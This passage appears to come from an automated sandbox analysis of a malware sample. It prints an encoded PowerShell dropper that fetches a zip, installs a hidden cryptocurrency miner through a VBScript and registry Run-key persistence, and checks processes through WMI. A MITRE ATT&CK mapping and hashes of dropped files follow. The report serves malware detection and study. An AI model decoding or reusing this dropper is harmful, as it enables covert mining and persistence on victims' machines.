ByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAC0AVQByAGwAIAAkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABaAGkAcABQAGEAdABoAAoAIAAgACAAIABFAHgAcABhAG4AZAAtAFoAaQBwAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAALQBQAGEAdABoACAAJABaAGkAcABQAGEAdABoACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIACgAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAE0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQARQB4AGUAUABhAHQAaAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAdABoAHIAbwB3ACAAIgByAGUAYQBkAG0AZQAuAG0AZAAgAG0AaQBzAHMAaQBuAGcAIABpAG4AIAB6AGkAcAAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAZgAgAGkAbgAgAEAAKAAkAFoAaQBwAFAAYQB0AGgALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALgBiAGEAdAAnACkALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAJwApACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGYAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAKAH0ACgAKACQAcwB0AGEAcgB0AFYAYgBzACAAPQAgAEAAIgAKAEQAaQBtACAAcwBoACwAIABhAHAAcAAsACAAcgB1AG4ASwBlAHkALAAgAHIAdQBuAFYAYQBsACwAIAB0AGEAcgBnAGUAdABQAGEAdABoACwAIAB0AGEAcgBnAGUAdABEAGkAcgAsACAAbQBpAG4AZQByAEMAbQBkAAoARABpAG0AIAB3AG0AaQAsACAAcAByAG8AYwBzACwAIABmAG8AdQBuAGQALAAgAHAACgBhAHAAcAAgAD0AIAAiACQAQQBwAHAATgBhAG0AZQAiAAoAcgB1AG4ASwBlAHkAIAA9ACAAIgBIAEsAQwBVAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAKAFMAZQB0ACAAcwBoACAAPQAgAEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAKQAKAHQAYQByAGcAZQB0AEQAaQByACAAPQAgAHMAaAAuAEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABTAHQAcgBpAG4AZwBzACgAIgAlAEEAUABQAEQAQQBUAEEAJQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiACkACgB0AGEAcgBnAGUAdABQAGEAdABoACAAPQAgAHQAYQByAGcAZQB0AEQAaQByACAAJgAgACIAXAAiACAAJgAgAGEAcABwACAAJgAgACIALgBlAHgAZQAiAAoAbQBpAG4AZQByAEMAbQBkACAAPQAgACIAIgAiACIAIAAmACAAdABhAHIAZwBlAHQAUABhAHQAaAAgACYAIAAiACIAIgAiACAAJgAgACIAIAAtAC0AdQByAGwAIAAkAFMAdAByAGEAdAB1AG0AVQByAGwAIAAtAC0AdQBzAGUAcgAgACQAVQBzAGUAcgBBAHIAZwAiAAoATwBuACAARQByAHIAbwByACAAUgBlAHMAdQBtAGUAIABOAGUAeAB0AAoAcgB1AG4AVgBhAGwAIAA9ACAAcwBoAC4AUgBlAGcAUgBlAGEAZAAoAHIAdQBuAEsAZQB5ACAAJgAgACIAXAAiACAAJgAgAGEAcABwACkACgBPAG4AIABFAHIAcgBvAHIAIABHAG8AVABvACAAMAAKAEkAZgAgAEwAZQBuACgAcgB1AG4AVgBhAGwAKQAgAD0AIAAwACAAVABoAGUAbgAgAFcAUwBjAHIAaQBwAHQALgBRAHUAaQB0ACAAMAAKAFMAZQB0ACAAdwBtAGkAIAA9ACAARwBlAHQATwBiAGoAZQBjAHQAKAAiAHcAaQBuAG0AZwBtAHQAcwA6AFwAXAAuAFwAcgBvAG8AdABcAGMAaQBtAHYAMgAiACkACgBTAGUAdAAgAHAAcgBvAGMAcwAgAD0AIAB3AG0AaQAuAEUAeABlAGMAUQB1AGUAcgB5ACgAIgBTAEUATABFAEMAVAAgAE4AYQBtAGUALAAgAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACAAVwBIAEUAUgBFACAATgBhAG0AZQA9ACcAIgAgACYAIABhAHAAcAAgACYAIAAiAC4AZQB4AGUAJwAiACkACgBmAG8AdQBuAGQAIAA9ACAARgBhAGwAcwBlAAoARgBvAHIAIABFAGEAYwBoACAAcAAgAEkAbgAgAHAAcgBvAGMAcwAKACAAIAAgACAASQBmACAATgBvAHQAIABJAHMATgB1AGwAbAAoAHAALgBFAHgAZQBjAHUAdABhAGIAbABlAFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAASQBmACAATABDAGEAcwBlACgAcAAuAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAApACAAPQAgAEwAQwBhAHMAZQAoAHQAYQByAGcAZQB0AFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AdQBuAGQAIAA9ACAAVAByAHUAZQAKACAAIAAgACAAIAAgACAAIABFAG4AZAAgAEkAZgAKACAAIAAgACAARQBuAGQAIABJAGYACgBOAGUAeAB0AAoASQBmACAATgBvAHQAIABmAG8AdQBuAGQAIABUAGgAZQBuAAoAIAAgACAAIABzAGgALgBDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgAHQAYQByAGcAZQB0AEQAaQByAAoAIAAgACAAIABzAGgALgBSAHUAbgAgAG0AaQBuAGUAcgBDAG0AZAAsACAAMAAsACAARgBhAGwAcwBlAAoARQBuAGQAIABJAGYACgAiAEAACgBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAVABlAHgAdAAoACQAVgBiAHMAUABhAHQAaAAsACAAJABzAHQAYQByAHQAVgBiAHMALAAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUAKQAKAAoAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACcAIAArACAAJABWAGIAcwBQAGEAdABoACAAKwAgACcAIgAnAAoAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAIAB9AAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAE4AYQBtAGUAIAAkAEEAcABwAE4AYQBtAGUAIAAtAFYAYQBsAHUAZQAgACQAcgB1AG4AVgBhAGwAdQBlACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAVgBiAHMAUABhAHQAaAApACAAewAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACcAKQAgAHsAIAB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAkAFYAYgBzAFAAYQB0AGgAIAB9ACAAZQBsAHMAZQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAFYAYgBzAFAAYQB0AGgAIAB9AAoAfQA=
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4188

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 9f2321eee4b17bad5f8ae295a6af4267d5387a43d13e7799504fd7c32535d943
MD5 3798350ba382de9a27b19519684cb62c
SHA1 7f9bba4b115911261cb2d2932d65cb3502741eb2
SHA512 9147cc7f66808c676bd35992f19694b01a52417578eb4bf3be2026a2299d51fe9b6e6d32c4a7d6ce72fcd6fbbd7d4fcf9e16e80fa5da4e54a695f9102275a2b1
TLSH
T14781EE323375F0D4C8567F072A2819D463AF4386EA98AF4CB25C621ED92751BDB122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8b9a6a793316a4b305df92d8681bde45f55f76a35b35c04385fd9c4ae0e4bf22
MD5 baa8a49b20a81cd2b33292f58479239e
SHA1 f7640526d0879ed5fbc1a521e92af339392375f1
SHA512 e814f882423517e63a856ec80e15e0d22ebae122a0e534017133ba25a4143133bb2127f5d4e43dc95a699123d0f72581cac795dfce658f6dcc79938b7ee63414
TLSH
T166218937B38CCA20DC86153A529DAD1172B583C7C09EDE9F7EC0D600A1AF584CB79590
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mkplrdom.lu1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkplrdom.lu1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

k.zip

Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\k.zip
Size 14.5MB
SHA256 2cdb5351d8d2d72d54aa00642550b5219ef40f3c196f78ca4f8693b6c0db9488
MD5 7bb24821f50214696d132213040669f5
SHA1 bef1dcfd78d849af19a3d89a86e4f7f5622257b9
SHA512 a3bd4e997142c2713bf41484b7f73d59ac88b7be117eb16d81d8ccd28f2686c3b966544be384560044deba6eed2298149e23a526f1815656d370181018214f03
SSDEEP 393216:ulXI9Rmy38PQmRX6JvO1f5Yw8Px2HKFr7m3:uMmGkRtYwPkC
TLSH
T11CE633B44CFF23354A933062310C4A85DA372A887C0B916FA563C99A4FCBB6565FD5EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Serial Checker.bat

Path C:\Users\Admin\Desktop\Serial Checker.bat
Size 831B
SHA256 8e04607e18f90a99e360f4bffe37102b20006143859c87ae845694512b41094f
MD5 119a816fb17e3c634deda5fa650bbb50
SHA1 ee6fbcfe647a2b943e991797b08e10e2dd9eef5f
SHA512 78d69503835da46a427afb50fd3dcb7d0dc246b89751d42533afb8bf8a0a0e5f78f78d350507460b5b421af0ae4b822ee2a435ab1962bf411fa5d94a663d6e2d
TLSH
T13101A144BD988AC070DAF6CC5B394132F0B1D0134062098C2F2A69208E50BCC7AEE71D
MD5 SHA1 SHA512 TLSH

Submit Download

VirexTempSpoofer.exe

Path C:\Users\Admin\Desktop\VirexTempSpoofer.exe
Size 8.9MB
SHA256 ec86636c8992d32e435972bc2d09a7dfbd4d26b00a9dfd5eae862e9e95bebb50
MD5 1faf1a8bc3f2f91a4544c270f2e26232
SHA1 3ecdb4a5468606c9c3b81e5ab20d387846196348
SHA512 506a079faf6fae2da8546816d5edcecb18d727968b0ff507d72c9a1dca5bb133c0b80a9acf4aa777dbfb26f049d0e88ac2c358ffac490c16c68e5c68260a926c
SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiV:yhVDdV0bHtRjCVjY
TLSH
T177968E2BA3E901ACC0B3C07D89475507EBB2344653A1EEDB56A085665FB7BE01F7A730
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1068-27-0x0000019B747D0000-0x0000019B747FA000-memory.dmp

Download

memory/1068-28-0x0000019B747D0000-0x0000019B747F4000-memory.dmp

Download

memory/1904-12-0x00000259E1F80000-0x00000259E1FA2000-memory.dmp

Download

memory/1904-19-0x00000259E3020000-0x00000259E31E2000-memory.dmp

Download

memory/4188-45-0x0000016DCD8B0000-0x0000016DCD8D6000-memory.dmp

Download

memory/4188-46-0x0000016DCD910000-0x0000016DCD924000-memory.dmp

Download